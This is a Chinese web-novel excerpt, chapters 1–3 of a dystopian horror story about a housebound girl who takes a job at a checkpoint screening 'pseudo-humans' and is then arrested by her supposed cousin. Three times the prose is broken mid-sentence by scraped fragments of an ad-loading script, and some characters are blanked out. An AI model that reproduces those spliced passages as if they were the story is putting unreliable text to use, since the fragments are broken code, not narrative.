《伪人通行证》 1. 第 1 章 「不要告诉祂们,你要出门。」 纪令闻是在掌心发现了这行文字,非常规整的手写体。 仔细看,有些词汇被人明显涂改过,但空余的纹路又多了新的禁令。 字迹异常潦草,勉强能认清,语序混乱。 『不要给任何造访者/?开门,当你独自在家时。』 然而,蹊跷的事情发生了——文字怎么搓都搓不掉,像是从肌肤深处蔓延而出,她血肉的一部分。 纪令闻索性放着不管,继续观看今日份的录像。 因为父亲要临时出差一个月,告诉她外面比家里危险,不能出门。 至少在今天之内,不会有任何人来拜访她。 就在这时,有怪谲且连贯的声音响起,声源明显属于门外的某处。录像带突然卡住了,屏幕上出现一大片雪花。 纪令闻立刻关闭电视,谨慎地拉好所有的窗帘,赤着脚悄悄走到门口,透过猫眼往室外看。 每当这个时候,她都能看到对门邻居出来丢垃圾,这次不一样的是,走廊灯不知什么时候全灭了,黑黢黢的。 空荡又漫长的走廊,看不到尽头,瘆得慌。 全球永夜降临后,纪令闻已经很久没出过门,平时的消遣就是窥探邻居们。 她住的这栋多户单元楼,往日各户之间常有走动,而此刻,却异常静谧。 失落一阵儿后,纪令闻走到门旁的洗漱台前,打开水龙头。 上方悬挂的镜子里,驼峰鼻、杏核眼、鹅蛋脸,圆润平和的一张脸,瞳孔折射出家里的装修。白墙,箱体床,浅灰色的地砖通铺,实木的饭桌、电视柜,空间宽敞之余又显得充盈。 常年晒不到太阳的皮肤惨白,眼尾下垂,粗看盛放生机,细看空洞病恹。 纪令闻对自己这种脸没什么概念,但看着镜中那双焦茶色的眼睛,脑海中某些记忆碎片翻涌闪回。 墙皮斑驳剥落,投射出不可名状的暗影,摇曳、逼近,未知的低语混沌不清…… 一阵沉重的敲门声打破回忆。 会是谁呢? 家里安静得蹊跷,敲门声越来越急。 紧接着,门外爆发出一声不寻常的嘶吼,如同野兽的咆哮,席卷窒息般的压迫。 头顶的灯泡摇摇欲坠,疯狂闪动。 光影交错,血液粘稠地沿着门缝渗透进屋内,淅沥沥的,将地毯浸染成触目惊心的深红色。 空气中弥漫着腐臭味,几乎令人窒息。 纪令闻捂着鼻子凑近猫眼,试图查看门外的情况,但视野所及之处,没有半点人影。 这反常画面让她心跳加速,寒意悄然爬上脊背。 猛然间,一颗幽暗如夜的眼球跃入眼帘,仿佛锁定了她的存在,在猫眼范围诡异地跃动,四处游移。 她拼尽全力想要逃离那扇门,但双脚却像被深深钉在地面,难以挪动分毫。 因此,纪令闻做了个违背既定规则的举动。 她扭转防盗门锁的插芯,伴随一声清脆的‘咔嚓’,老铁门缓缓开启,发出冗长的吱嘎声。 一只坚硬冰冷的手抓住她,强制将纪令闻拽离家门。 鞋底和地面摩擦,牵扯刺耳拖行声,回荡在空旷的走廊中。 触感如同金属般冷冽,直接侵入骨髓。 纪令闻被冰了一下,她开始好奇对方是否属于活体生物的范畴。 楼道的声控灯骤然亮起,纪令闻才看清那个怪人立于眼前,他身上的杀伐气很重,就像厚重的瘴雨乌云,沉甸甸地笼罩在她头顶。 “楼道伪人均已人道毁灭。收到请回答。” 声音的主人属于一位成年男性。 语气平缓,声线沉涩,好像经历过冬日寒风洗礼,和纪令闻心跳短暂共振了下。 对方全副武装,头戴电镀面罩,身穿一套严密的隔离服,遮掩住他的真实面容。最吸引人的是他左边整条手臂,显然经过了高科技的改造。 此刻,那只机械义手的指尖,缓缓收回锋利的锯齿装备。 纪令闻心里暗自推测,机械手臂极有可能是用高强度且轻质的钛合金材料打造,似乎还具备很强的攻击性。 在相互审视的几秒静默中,周边维持着一种微妙的平衡。 随后,那位怪人拆下电镀面罩,露出一张轮廓深刻的面庞。 不知道是不是待在家太久了,纪令闻不怕生,就那么盯着人家看,他半边身体隐匿在暗光里,眼眸因绰绰斑驳凝视着她的方向。 他关闭记录仪,语气有点唬人:“纪令闻,我是你表哥游骋,你需要跟我走一趟。” “表哥?”纪令闻有些恍惚,几不可闻地说:“我只有一个姐姐,她马上就买菜回来了。” 话落,楼道尽头出没一个面容奇异的女人,她的脸仿佛被漩涡扭曲,五官错乱透着诡异。 见到突然的造访者,她以惊人的速度朝这边扑来,手脚并用,在木地板留下蜿蜒抓痕。 游骋歪头,“还有只漏网的。” 他动作极快,瞬间将机械手臂切换成激光发射器,锁定目标,发射激光,整个过程毫不拖沓。 纪令闻抬起头,触及游骋的视线,不自觉地提高了声音:“不要伤害我姐姐。” 回应她的是激光划破空气时的呼啸声。 那束突如其来的强光,黑暗无所遁形。原本准备发起进攻的女人身形猛然一僵,旋即被无形巨力击中,轰然倒地。 一颗颗西红柿滚到纪令闻脚边,饱满鲜艳。 游骋站定,头也不回地说:“仔细辨认一下,她到底是否和你姐姐是同一个人。” 纪令闻呼吸停顿,被这个场面震慑到了,也怪不得游骋不信。话一说出口,连她自己都觉得荒诞。这种非人类生物体真的是她姐姐吗? 母亲早逝,父亲经常忙于工作,是姐姐和外甥的陪伴,让她觉得活着并不乏味。 ……是什么时候开始不对的呢? 一道撕心裂肺的嘶鸣声将纪令闻拉回现实。 女人的心口被激光洞穿,呼吸愈发微弱。她颤抖着手伸向纪令闻,带着某种异样情感,断断续续地重复着:“趁……父亲还没回来……快走……” 纪令闻的心跳再次加速,这次是因为兴奋而非恐惧。 她还未及细想,就被游骋擒住手腕,连拖带拽迅速带离那个充满谜团的地方。 这是一座人类社区,路灯伫立在每条大道旁,灯塔集中向四周扫射,社区的入口围站了一队人。全身戒备,难辨性别,齐刷刷朝游骋敬礼。 天气低温严寒,火堆熊熊燃烧。 所有人都冻得牙齿打颤,却没人靠近火堆取暖,因为有一位访客正走来。 “尊敬的居民,您好!欢迎来到智核社区。为确保社区安全,请您务必出示有效的身份证件以供查验。” 窗口检察员声音公式化,带着严谨处理公务的特有腔调,例行身份验证流程。 “这是我的证件。”访客到窗口亮出证件,让检察员确定。 纪令闻第一次接触家的外面,新奇至极,一直望着那边看,全然没发现自己穿的很单薄。 她转头看向游骋,“这是在干嘛?” “全球进入永夜的第十年,世界伪人清除组织发布通告:居民应携带有效的通行证明进出社区。”游骋说着,随手撤下自己的隔离服,往她肩头披盖。 刚才出来得急,也顾不上换。 纪令闻只穿了件宽大睡裙,置身于超低温的环境中,对周遭的寒意浑然不觉。 电子设备特制的机油味扑鼻而来,纪令闻皱了下眉,低声快速说:“如果发现是伪人会怎样?” 她前脚发问,后脚检察员就拨打了内线电话。 眨眼功夫,足以让严阵以待的队伍出列一人,拿着武器进入通道,再度归为平静。 游骋的眼睛无温,语气很平:“你看见了,一旦露出破绽,就会被人道毁灭。” 纪令闻当即闭上嘴。 初次相遇,他给人的印象就是杀人机器,然而每当她试图给他贴上某种标签时,事实总会颠覆她先前所有的设想。 游骋将纪令闻带进检查站,他与负责人交涉了几句,视线辗转到纪令闻脸上。 “从今天起,这里就是你的固定工作地点,每日报酬结算将充值我指定的账户上。” 还不等纪令闻接收大量信息,游骋就塞给她厚厚一沓手册。 她想也没想就接过来,才翻看两页,就被密密麻麻的规则晃花了眼。 游骋的声音在她头顶响起:“你需要按照入职培训手册,以及手册的所有要求完成你的工作。如有违规自行承担后果。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这话掷地有声,让她无从招架。 但现在似乎有种可能性,纪令闻很快就要被工作给虐惨了。 片刻,屋子里‘哗’地掀起讨论。 “这小姑娘好面生。” “穿这么少不会冷吗?” “她和长官什么关系呀?” 场面顿时热闹起来,好奇心驱使下,所有人都往他们那边看。 游骋的回答照旧很无趣:“我表妹。” 这种形容不出来的拥堵感让大伙悻悻然。 检查站的负责人是位年长的女性,穿着极为正式严谨,不过从游骋进门起就绷着脸,透出一股不易亲近,古板教条的气息。 “现在开始登记。”她晃了晃手中的记录名单,目光锐利地询问:“女孩,请告诉我你的姓名和年龄,还有人际关系。” 有那么一瞬间,纪令闻想解释他不是她表哥,但想想自己现在的处境,祸从口出。 只好转变口风说:“我叫纪令闻,游骋的表妹。” 至于年龄,她撒了个小谎:“按照心理年龄算,我今年刚好23岁。” 负责人听后唰唰在纸上走流程。 有人感叹了句:“好年轻啊,不像我们这群老家伙,动都不想动。” 纪令闻撩起眼皮,见游骋很有深意地看了她一眼,“是挺年轻的。” 那目光很快,纪令闻还是捕捉到了。 她不知道他的意图。 或许还有更深层的东西。 办完入职手续,游骋表情没什么变化,取下纪令闻身上的隔离服,拜托负责人给她找了件女士恒温服。 等纪令闻换好恒温服回来,他眼睛在机械臂的显示屏稍作停留,不着痕迹地觑了她一眼,随后提议:“3:45分,你现在有进食的需求吗?我们可以一起安排。” 邀请但有边界的语气,纪令闻没有拒绝。 只是让她没想到,通往食堂的路比她想象中还要远,而且工时就是货币。 纪令闻没有这种东西,趁游骋抬起手臂支付的时候,她瞄到他的工时余额,没有具体的数字,只有一个符号。 ∞。 纪令闻的信仰体系动摇了,“怪不得你这么熟练。” 这场屠戮的游戏,显然他游刃有余。 如果没发生先前那事,纪令闻还能跟他过上两招,但她目前觉得很寡淡。 游骋面无异样,整个人的气场磅礴强大,如果忽略他本就有些凉薄的视线。 “想要融入社区生活,维持你的生命体征,必须工作。况且你又是个黑户。” 纪令闻默不作声,看着机器自动掉落3D打印的个性化食物,不知道眼下的事情怎么办。 她是只雏鸟,活动圈仅限于家门之内,没办法像居民那样熟门熟路。 身高落差,让两个人高度悬殊,她比他矮了一个头,又长了一张绝对温和的面孔。 滋生一种阶级感。 找了位置坐下之后,游骋给她捎了杯纳米饮料,薄唇抿作一线,“你在怪我。” 最后三个字他咬重了音节。 就像一座雪山崩塌在纪令闻的心头。 呼吸喷洒过来,纪令闻避不开,她如实说:“你杀了我姐姐。” “我的职责是清理伪人。”游骋凛声说:“人类至高无上。否则你以为人类凭什么能存活至今没有灭绝。” 他在她的眸光里坦白开口,看样子不像是在开玩笑,反而是某种深刻的忠告。 纪令闻垂在两侧的手微微收紧,再张开,一行文字顺着纹路在掌心浮现。 「确保你自己是人类,并远离太阳光。」 这次字书写得很小,笔画略显歪扭,不妨碍辨认内容。 纪令闻对社区了解为零,可也掌握些基本的常识。 全球陷入永夜,这意味着人类没有防范时间。又怎么会有太阳。 “在看什么?”游骋转头,看了眼身后的女孩,“跟紧点,社区最近很不太平。” 纪令闻默默攥紧了手心。 她从来没相处过除家人外的人。 不仅是陌生人,出门、上班、社区活动,父亲严令禁止的操作,但居民们都习以为常的社交,纪令闻从来没得到过允许。 仔细想想,她甚至都不确定自己是不是人类。 2. 第 2 章 游骋把纪令闻送到员工宿舍,置办了些生活用品,正要离开,却被纪令闻跟上拉住。 他侧头,神色复杂,八风不动地站着。 纪令闻顿了顿,被游骋盯得不自在,她垂下眼皮,温吞地收回拽着他的手。 她没什么兴致地说:“在这里,我只认识你。” “碰到任何异常务必联系我,不要私自处理。”游骋只这样说。 他转身远去,背影都笼罩着一股冷气。 纪令闻忽然想起来父亲的告诫:不要出门。 现在既然已经违背,那么这一次,她想找回自己丢失的记忆。 这个四人寝室狭小拥挤,再加上是倒班,寝室里氛围不怎么活跃,好在足够暖和。 由于一个室友换班晚点,快熄灯都还没回来,寝室里只有两个人睡着。走廊外间歇响起水管滴水声,更显得寝室一片死寂。 四张上下床的过道上,堆满各种吃剩打包盒,几乎占据了所有可通行的空间。 纪令闻迅速收拾好,轻悠悠走到门前,打算扔垃圾。此时门把手正在自己转动,但纪令闻愣是没感觉有什么不对。 从她的视角,只能看到走廊只留了一盏灯,越远的地方越模糊。 宿舍楼本就环形布局,这么一看去,倒很像迷宫。 纪令闻抬腿就要踏出去。 “等等。” 身后忽然有人叫住她。 其中一个室友醒了,伸手摸到黑框眼镜戴上,没抬头,语调平缓:“注意一点,休息时间严禁外出。” 纪令闻只好放下垃圾,拧开水龙头洗手,转头正好看见上床正在下梯子的另一位室友。 安柏很自来熟地开口:“新来的,你读过入职培训手册了吗?” “还没。”纪令闻摇了摇头,刚刚那名室友的劝告,其实她一句都没听进去,耳边交替回荡加密的低语与窸窸窣窣的嘈杂,如同尖针刺入感官中,让人难以忍受。 这种感觉当然不足为外人道。 她的视线紧紧盯着窗外。 在防护网的边缘,她瞥见了一颗巨型心脏,被数条粗大枷锁缠绕、深深嵌入。 那颗巨型心脏赫然悬吊于虚空,表面覆盖着错综复杂的血管脉络,却又因过度扩张而显得扭曲狰狞。每一下剧烈跳动,都给纪令闻带来沉重的束缚感,那些枷锁愈发紧密,精神力在挣扎中迅速耗竭。 哗哗哗哗哗哗哗哗哗……咯咯咯咯咯…… 那种怪诞却连贯的声音再次降临,来自另一个维度的荒诞乐章,疯狂运转。 纪令闻没有叫嚷或者退步,她猛地一扯窗帘,死死拉拢,随后深呼一口气。 回头发现两位室友正探究地看着自己。 她分明是拉窗帘,表情却像见了鬼。 然而没过几秒,刺啦一阵电流声之后,广播适时响起机械合成音:“72层B4844室张晓亚猝死,值班继续。” B4844是她们所在的寝室号。 人死了就死了,工作还要继续,永不停歇。纪令闻一瞬间以为自己听错了。 她站得离窗口最近,以至于能清晰听到外面接二连三的下楼脚步声。 墙壁上的裸眼全息屏格外鲜明。 距离早班开始:300分钟。 300分钟等于五个小时,现在是夜间八点钟,五个小时后就是……凌晨一点。 安珀这样轻描淡写:“工友的死告诉我们,上班时间是挣工时,下班时间是为了涨工时。” “我不理解。”纪令闻站在上下床的阴影里。 李宝嘉扶了扶黑框眼镜,安柏则安慰似的拍了拍纪令闻的肩膀,显然比她更能接受这个结果。 思忖片刻,纪令闻捋出了目前已知信息。 她正处于一个所谓‘高科技,低生活,全员过劳死’的情况,五个小时后,就要正式上岗。按照安柏的说法,似乎熟读入职培训手册,才能在社区讨生活。 那么不工作的人会受到怎样的惩罚? 也许,这就是群体的规则,无人能够避免。 结束休息后,检查站负责人找到纪令闻,通知她:“你将全面接手张晓亚的工作,去领工牌。” 这时,旁边有人轻声提醒:“魏站长,这样做是否合规?毕竟小纪还是新人,而且还是游sir的亲属……” 魏站长闻言,眉头微蹙,回应道:“每位新人都是这么过来的。” 纪令闻刚刚录完面部信息,工牌就被送了过来,前后不超过两分钟。 她垂眸翻过手中镶嵌微光LED卡牌,背面数据纹路流动着几个字。 检查站·纪令闻。编号:jlw699。 班次还未交接这会儿,纪令闻迅速拿出入职培训手册。 那本子不大,大约巴掌大小,封面和封底都是牛皮制的,表面纹理粗糙,在灯光下尽显质感耐用。 纸质很一般,非要说有什么特别的话,那就是它的扉页上写着:《检查站员工入职培训》。 字迹规整,像是用墨水写的。 纪令闻没太深究,她翻开第一页。 【员工你好,欢迎入职智核社区检查站。本手册作用为针对指导公司新入职员规范办公程序,每人仅此一份。 以下是我们新版内部员工相关守则,为了你的生命安全和身心健康,请务必完整阅读并随身携带。 1.能从事这份工作是你的福报,工作中无论发生何事,都应该珍惜这份工作。若发生特殊情况需要调岗,请务必提前30日书面告知检查站,不必向任何同事透露你将离开。 2.员工应严格遵守工作纪律,窗口文明规范用语,服从上级领导的指挥和安排,不得擅自改变工作内容和工作方式。 3.检查站工作制度为弹性工作制,不鼓励员工加班,每天交接时间分别为4:00、10:00、16:00。员工应做到准时换班,严禁迟到早退旷工,检查程序将纳入考勤绩效,违者予以开除。 4.警惕身边和你长得一模一样的人,祂可能会取代你。保持自我认知。什么时候都不该自□。 5.下班后请勿在值班室逗留。如有特殊情况确需加班不得晚于19:00。自愿加班需填写申请表,经检查站、管理员共同审批后方可发放加班许可,当天有效,遗失不补。 6.社区工作者均着工作服。管理员为红色制服,园丁为绿色制服,清理者为隔离服。请勿攀谈,他们有自己的职责范围。 7.值班室一次只能进入一名员工,员工执勤结束后应从值班室内侧门返回检查站大厅。如有员工邀请你一同进入值班室,无视即可。 8.智核社区通常有明确的开放时间,工作日4:00-23:00,节假日6:00-22:00,维护时间采取全封闭管理。执勤员工应根据当天的值班表,检查一次电话线,如电话线被切断或掉线,马上与上级领导反映,确保检查的高效进行。 9.如果你在岗期间遭遇访客的入侵,请待在站内,锁好门窗,不要相信任何语言狡辩,保持头脑清醒,立即拨打内线电话F/F/F/F。请务必相信这点。 10.如果有其他区域人员试图参与你的工作内容,拒绝且无视,他们不是你的同事。可以去找园丁,他会帮你解决。 11.保持身心健康,员工定期体检。医务室才是安全的,在19:以后就不要去了,更不要离开员工宿舍。 12.工时延迟发放是正常的,但超过三天构成拖欠报酬。你的具体工时将不能透露给任何人,包括你的同事。 12.请友善地对待访客们,不用对他们有任何防备,他们很熟悉如何递交相关证件。 (以下还有两行斜体小字,似乎被刻意用笔涂黑过,无从解读。) *居民应携带▇▇的通行证明进入社区。 如遇访客递交的证件过期或不符,请与其家属电联核实身份,谨防受骗。如已受骗则第6、9作废。请务必活下去,活下去,话 ——智核社区管理员宣 后面有纸张被撕掉了,且页数不少,内容到这里就戛然而止。 纪令闻尚未来及确认那个‘话’字是否有误,手册就已被人匆匆合上,套上工牌进入检查室。 她指节捏得咔咔作响,掌心再没有出现新的文字,莫名焦躁。 检查站的工作需要在有限时间内完成大量检查任务,好在桌子旁放着今日访客清单,共计7人。 而纪令闻刚上岗,就遇到了个麻烦。 一位访客的证件照与本人不符。 据证件信息描述,他只有一条眉毛,连心眉,但他本人是断眉,外貌倒是对得上。 而且今日访客清单上确有其人。 纪令闻见他眉毛快要皱成两条毛毛虫了,问:“您好,您确认这是您 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 本人吗?” 对方声音顿了一秒,回答:“如假包换,相似度99%。” 别的不好说,反正不太像真人。 纪令闻也不太确定:“您进入社区的理由是?” 访客:“我在矿山工作,儿子半夜发高烧,妻子通知我回家一趟,我好不容易才申请到名额。” 挺情真意切的,纪令闻怀疑再问下去,对方就该急眼了,于是拨打访客妻子的号码进行核实,确认无误后,她又仔细核对信息,实在没有疏漏,只好放行。 纪令闻总算在证件盖上印章,完成进度的七分之一。 半晌,纪令闻合上资料,给了下文:“欢迎回家,尊敬的居民。” 不过访客没有多搭理她,就顺着闸机口走进社区。 · 检查确认,事件居然走得格外快。 墙上的裸眼全息屏上的数字总在不经意间变幻,从10走到15,又走到16。 初次上岗,经过几个小时的适应,纪令闻很快就上手了,今日表现无可挑剔。 就连以严苛著称的魏站长都点头,其他同事对她颇为礼遇,全因她背后有位堪比杀人机器的表哥坐镇。 声波滴滴声骤然在大厅内响起。 所有工作人员都停下手头的工作。纪令闻双手抄进兜里,不动声色朝声源看过去。 就见墙壁上的裸眼全息屏时间点隐退,故障指示灯疯狂闪烁,三角形里有个感叹号的标志占满屏幕。 纪令闻朝大门方向迈去,安珀几次张嘴却又忍住,最终还是跟她并排,一起走到大门前。 检查站外,吞噬白日的无边夜色里,有三个颀长人影悄然而至。 领头的那位从夜幕中现身,留着黑色短发,左手托着电镀面罩,结实贲起的肌肉牢牢贴合隔离服,整个身形轮廓显得干练而又冷冽。他踏进检查站大厅时,一阵旋风凌乱吹过,令人脊背直发凉。 他眼神锐利如鹰隼,穿透人群,冷漠自眉骨滑入深邃的眼窝。 掀起眼皮那会儿,黑黢黢的眼珠只存威严,迎头跟纪令闻撞了个正着。 说表哥,表哥到。 真要说起来,纪令闻对游骋的认识,尽显那些流传的八卦。 据安柏说,游骋出自下区,起初只是社区不起眼的角色,直到他击杀了头号通缉犯,才一跃当上清理指挥官。同事们纷纷表示,没见过干活这么拼命的。 工时几天几天地加起来,比命还长。 但纪令闻凭借着从未派上用场的交际能力,还是了解到了一些细枝末节。 比如游骋会随时暴走,他经常出现无差别攻击的状态。接受心理治疗也是因为这个。 再比如他全年无休。 这点纪令闻真想不通,她侧面打听过几次,安柏说他绝对有职业病。 毕竟日复一日地铲除伪人,即便是铁石心肠,也难免麻木。 纪令闻几乎是无意识地握了下手掌。 安珀用只有她们两个人能听见的声音说:“你表哥来给你走后门了。” 纪令闻攒了攒眉,“不完全是。” 的确,游骋不是来给纪令闻走后门的。伴随一道金属摩擦的声响,枪黑色的机械手臂映入她眼帘,阵阵嘈杂隔绝在外。 他说:“纪令闻,你被逮捕了。” 纪令闻怔了下,愕然抬头,撞进游骋的目光里。 她很自然地做出反应:“那要坐牢吗?” 大厅里大半的人都瑟缩了一下。没问犯了什么事,反而比较关心下场。 游骋像没捕捉到这些反应似的,自顾自走到接待椅旁,并不急着坐下。他:“那得看你的罪大到哪里去。” “我有什么罪?”纪令闻字字咬得清晰,想到什么,又补充,“表哥。” 众人盯着他,却没人敢张口。 触发故障指示灯,危险信号占满全屏,可见罪名严重到超出想象。 安珀躲在纪令闻身后打颤,捎带着纪令闻跟着振动。 “私放伪人进入社区,是重罪。” 他的眼睛几乎只看着她,话音不大,却极具冲击,从耳膜捅进大脑皮层。 纪令闻不用他解释了。 因为只有一种合理解读,今日访客7人中,有伪人成功混进去了。 这样的话,从被逮捕到问话也有迹可循,或许,有问题的本来就不是办事员,而是机制。 3. 第 3 章 直到游骋坐在接待椅长腿交叠,戴好电镀面罩,守在门边的清理者公事公办地出示逮捕证,开口:“我们是社区清理者,我的工号是zcw533,刚刚收到消息,你因涉嫌犯罪,现依法对你实施逮捕。请跟我们走一趟。” 迅速地从腰间掏出手铐,亮在纪令闻面前。 旁听的安珀脸色惨白,本来就打哆嗦,听完差点没站住。 至于接受审判的纪令闻,她已经将双手奉上,配合戴上手铐。 “这太不好吧?”有人忽地出声。 zcw533清理者暂停动作,看向说话者。 安珀猛地从纪令闻背后探出脖子。 好死不死,这个公然质疑的竟然是她的三好室友,李宝嘉。 “她还只是个新人,有缺点很正常啊。难道老人就会专业到一个错都不会犯?”李宝嘉用中指扶了扶黑框眼镜,条理分明。 “犯错就要受惩罚。”zcw533说。 “错哪儿了?” zcw533不留情面地撂下话:“不要拷问我。” “可你们没有操作记录能够证明,一定是她……”李宝嘉还没说完,再次被打断。 “这已经超出了我们的管辖范围。”zcw533面无表情,“我们只负责逮捕违规的嫌犯,其他人继续工作。” zcw533低头看了眼逮捕令。 只见上面凌厉端正的字体写着—— 表妹。 zcw533转头看了纪令闻一眼,又转过来看向游骋,停了几秒,敬礼汇报:“报告指挥官,嫌犯已被依法逮捕,现请指示下一步行动。” 纪令闻被迫停下,再仰头时,突然撞上了游骋冷峻的眉眼。他面无表情地起身,眼神隐晦不明的,像是等她说点什么。 她平静垂下眼睑,没主动说话。 “收队。”指令声落,游骋随即戴上电镀面罩,转身间融入夜色中。 zcw533坚信,只要这位姑娘肯稍微示弱,他们头儿必定会给她打点一切。 汇报的空档里,第三人清理者tyz478已经押着纪令闻,走出检查站大厅。 旋转门猛然转动,冷风毫不客气地灌满整个空间。 工作人员纷纷躲在取暖炉旁,似乎被就会风吹到就能掉下一块肉。 检查站大厅几个人在说悄悄话。 “嘿,纪令闻可比咱刚上班的时候厉害多了!刚来就捅娄子。” “纪令闻。”资历稍深的办事员吊足了大伙的胃口,“游长官的表妹,要不怎么可能不通过考核就进来了呢?这些年班没少加,伤也没少受。” 听到这里,纪令闻眼珠在轻薄眼皮下微微转动。 “游骋长官是立过大功的,怎么连他表妹都保不住?” 老办事员神秘兮兮地说:“纪令闻的岗管理员都默许了的,真能保不住?不过在检查站,得罪谁都不能得罪那位……” 所有人都瞪圆了眼睛:“来头这么大!” 老办事员啧啧两声:“谁说不是,管理员睁只眼闭只眼罢了。” 大家也笑笑:“这么一说,纪令闻还真比那位面子还大。” “哐当”—— 魏站长猛地关上了档案库的门。 拐了个弯,窸窣的闲言碎语,也慢慢淡化了。 纪令闻面不改色,就当没听见同事们的那些闲谈,随即俯身,跨进驶向4号监狱的专车。 夜幕更加低垂了。 风没有个章程,到处乱刮。视线所及都是雾蒙蒙的,建筑和树影都被雾霭笼罩,只有远处可见灯光。 纪令闻老实坐在右侧座位上。 好在路途不算很远,她被带下车的瞬间,专车立刻开走,想走也走不掉。 那是一栋年代久远的老屋,风雨的侵蚀使石阶长满青苔,如果不是灯光的指引,真会把它当成一片废墟。 不过有一点值得庆幸——在清理者的随行下,他们不会在浓雾中迷路。 “很怕?”略带清冽的声音自头顶蓦地响起。 “这里地形复杂,进去后没有方向感,很容易迷路。”纪令闻正站在监狱入口环顾四周,客观地给出这句。 游骋睨了她一眼,掳过她步入老屋。 但比起迷路,接下来的审问更需要极大精力应付。 zcw533与tyz478对视片刻,麻利追平。 老屋内部别有乾坤,地牢的通道既长又曲折。 几分钟后,tyz478打开一扇门,朝游骋做了个请的手势。 两盏白炽灯齐齐照在脸上,纪令闻伸手挡住,勉强睁开眼睛,看清对面正襟危坐的游骋。 游骋单手撑着下颌,终于发话:“怎样处置?” zcw533很快回答:“当然是开除人籍。” “……” 像是被这动静声吵到,纪令闻稍稍侧头,与游骋的视线交汇,他没吱声,一瞬不瞬地盯着她。 “换个记性好的。”游骋坐在书桌前,记录摊开,目光已经挪到下属身上。 “在相关社区条例中,私放伪人进入社区,导致重大伤亡事故者,发配盐、矿场三年有期劳役或拘役。情节严重或造成严重后果者,给予开除人籍处分。”tyz478说。 纪令闻也仔细想过。 既然非得公开逮捕某人示众。 那会不会是一种管理手段?比如无端指控,说你该死你就得认命,让你干苦力就得听话,以此控制群众。 但亲眼目睹了姐姐的死,她不敢假设了。 其实她早已学会遵守规则。 就像手册说的,能从事这份工作是你的福报,岗位上大家恪守本分安然无恙。万物是需要平衡的,一旦失衡,那就意味着出现病态。 病态,务必会被清除。 她看了一眼zcw533,直白不收敛。 zcw533:“保真,确实是开除人籍。” 不知道怎么回事,他可是清理者,说这话时竟然带着解释的语气。 纪令闻说:“长官要审问我什么?” “声音大点,没听清。”游骋随手抽出一支钢笔,抬头。 是黑金色的,笔身修长,衬得他手愈发骨骼分明。 那只钢笔在指间旋转多次,最后稳稳落进了手心,薄茧有条不絮地剐蹭笔帽。 尽管只是个不经意的动作,跟随他近八年的两名下属,仍招架不住那股威压。 然而这位指挥官找了个舒适的姿势,微微向后靠在椅背上,示意她可以开始讲了。 纪令闻还是败下阵来,问:“你要审问我什么?表哥。” zcw533和tyz478目不转睛。 游骋却转头看向他们,说:“我的印章不见了,去找找。” 两名清理者识趣地离开,并关好了门。 纪令闻望向外面,两名清理者贴着墙根,走出好一段距离,应该是去远处放哨了。 游骋倏地站直身离开座椅,越过办公桌,走到纪令闻面前,阴影瞬间笼罩住她整个人。 紧接着,她被一股强大力道扯了过去,跌到结实宽厚的胸膛,视线自发向上,再上就是喉结。 猝然被硌到,纪令闻大脑宕机半刻,从他胸前兜里掏出来一枚印章,瞳孔骤缩:“印章……为什么...” “因为我把他们支开了。”游骋轻描淡写,迅速断网破译了智能手铐的密码。 她不明白,刚才还打算审问自己的人,转眼功夫却所有人都打发走了。 “听好,我知道你有很多疑问,但镣铐重新连接网络的时间仅有两分钟。” 游骋伸手去拉她,被她给避开了。 纪令闻顿了顿,缓缓道:“说说看。” 毕竟突然袭击抓人的是他,游骋态度很好:“社区从来都不是乌托邦。我们用人命堆砌出一份守则,可现在管理层原班人马中只剩下我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 和管理员。” “所以,你把我带出来的真正意图就是这个?”纪令闻的手一直挡着自己的眼睛。 游骋没答她的问题,有些感慨:“说起来,社区能够重新开放,还是靠首例永生人,她是真正的英雄。” “你不好奇她是谁吗?” 纪令闻什么也没有说,游骋想去拉开她挡住脸的手时,被她呵斥:“别碰我。” 即使他没看到,也知道她接受不了。 游骋还是移开了她挡在眼前、试图掩饰的手,在看到她频繁眨眼流泪的眼睛时,当场怔住。 “抱歉。我忘了你畏光。”他带着几分不易察觉的愧疚。 纪令闻撩起眼皮,把自己的手抽出来,平静却笃定地质问:“说这些话不违心吗?你在社区里究竟扮演什么角色?” 游骋知道骗不过她了,“我带你出来,是想请你助我一臂之力,离开这里。” “离开,这里?”纪令闻咀嚼着这两个字眼。 还没来得及思考细节的时候,周遭传来一阵单调的机械声:“警告,警告,未发现生命征兆……正在呼叫清理者……” 声音在空气中伴随灰尘粒子回荡,传送不到尽头,也无法折返。 游骋动手在机械手臂的显示屏操作一通,声音逐渐减弱直至沉寂。 彼时,纪令闻感觉手腕一紧,智能手铐比脑子更先行动,咔的响了一声立刻扣上。 等反应过来的时候,她已经和游骋一起被拷住了。 还是他那只货真价实的原装手。 纪令闻将手用力下压,即便这样无济于事,但总归不是做无用功。 手腕被勒得生疼。 察觉到身侧存心不良的目光,她下意识往后退,撞上PVC桌板,发出咚的声响。 “我会死吗?”纪令闻没注意游骋沉默得异常。 随后,只听凛然平缓的嗓音深刻地传入耳膜:“白费功夫,一级约束□□械,不至于致死。挣扎只会让手铐禁锢得更紧,你应该靠近我。” · 老屋的某间审讯室里,年轻的指挥官坐在一张扶手椅上,右手则连着女孩。 桌上有支钢笔。 他的视线落在钢笔上,表情没什么变化,显得不近人情。 突然想起什么,他再次说道:“你怕疼吗。” 恰巧,zcw533边推门边嘀咕:“警报器发什么神经乱响,电我30秒!” tyz478低头进门,手里的逮捕令抖落得哗啦响,很拙劣地说:“哎呀,这张纸弄湿后就失效了啊。” 纸张展开,字迹大片模糊,盖章和落款也洇成一团。 只最后一句注释还依稀可辨:此用户暂无违规行为,仅用于审问工作。 嫌犯和罪犯区别很大。 纪令闻保持原姿势就没再动。 俩下属居然觉得游骋好像挺沮丧的。 “头儿,您向来按规矩办事,伪造个逮捕令图啥。这不太合规吧?”zcw533掩饰性咳嗽两声。 游骋双手交叠在唇前,“我在执行公务,她经手的访客追踪有伪人出没,那时候你在干什么?” zcw533语塞了一下:“我、我当时忙别的。” 游骋大概也觉得有点偏激,缓和了一下,抽空瞥了眼纪令闻,“jlw699,你被无罪释放了。” “是么。我什么时候能走?”纪令闻的关注点却不是在这里。 智能手铐的时间设置虽然先进,但两人同时卡住的情况,属实罕见。 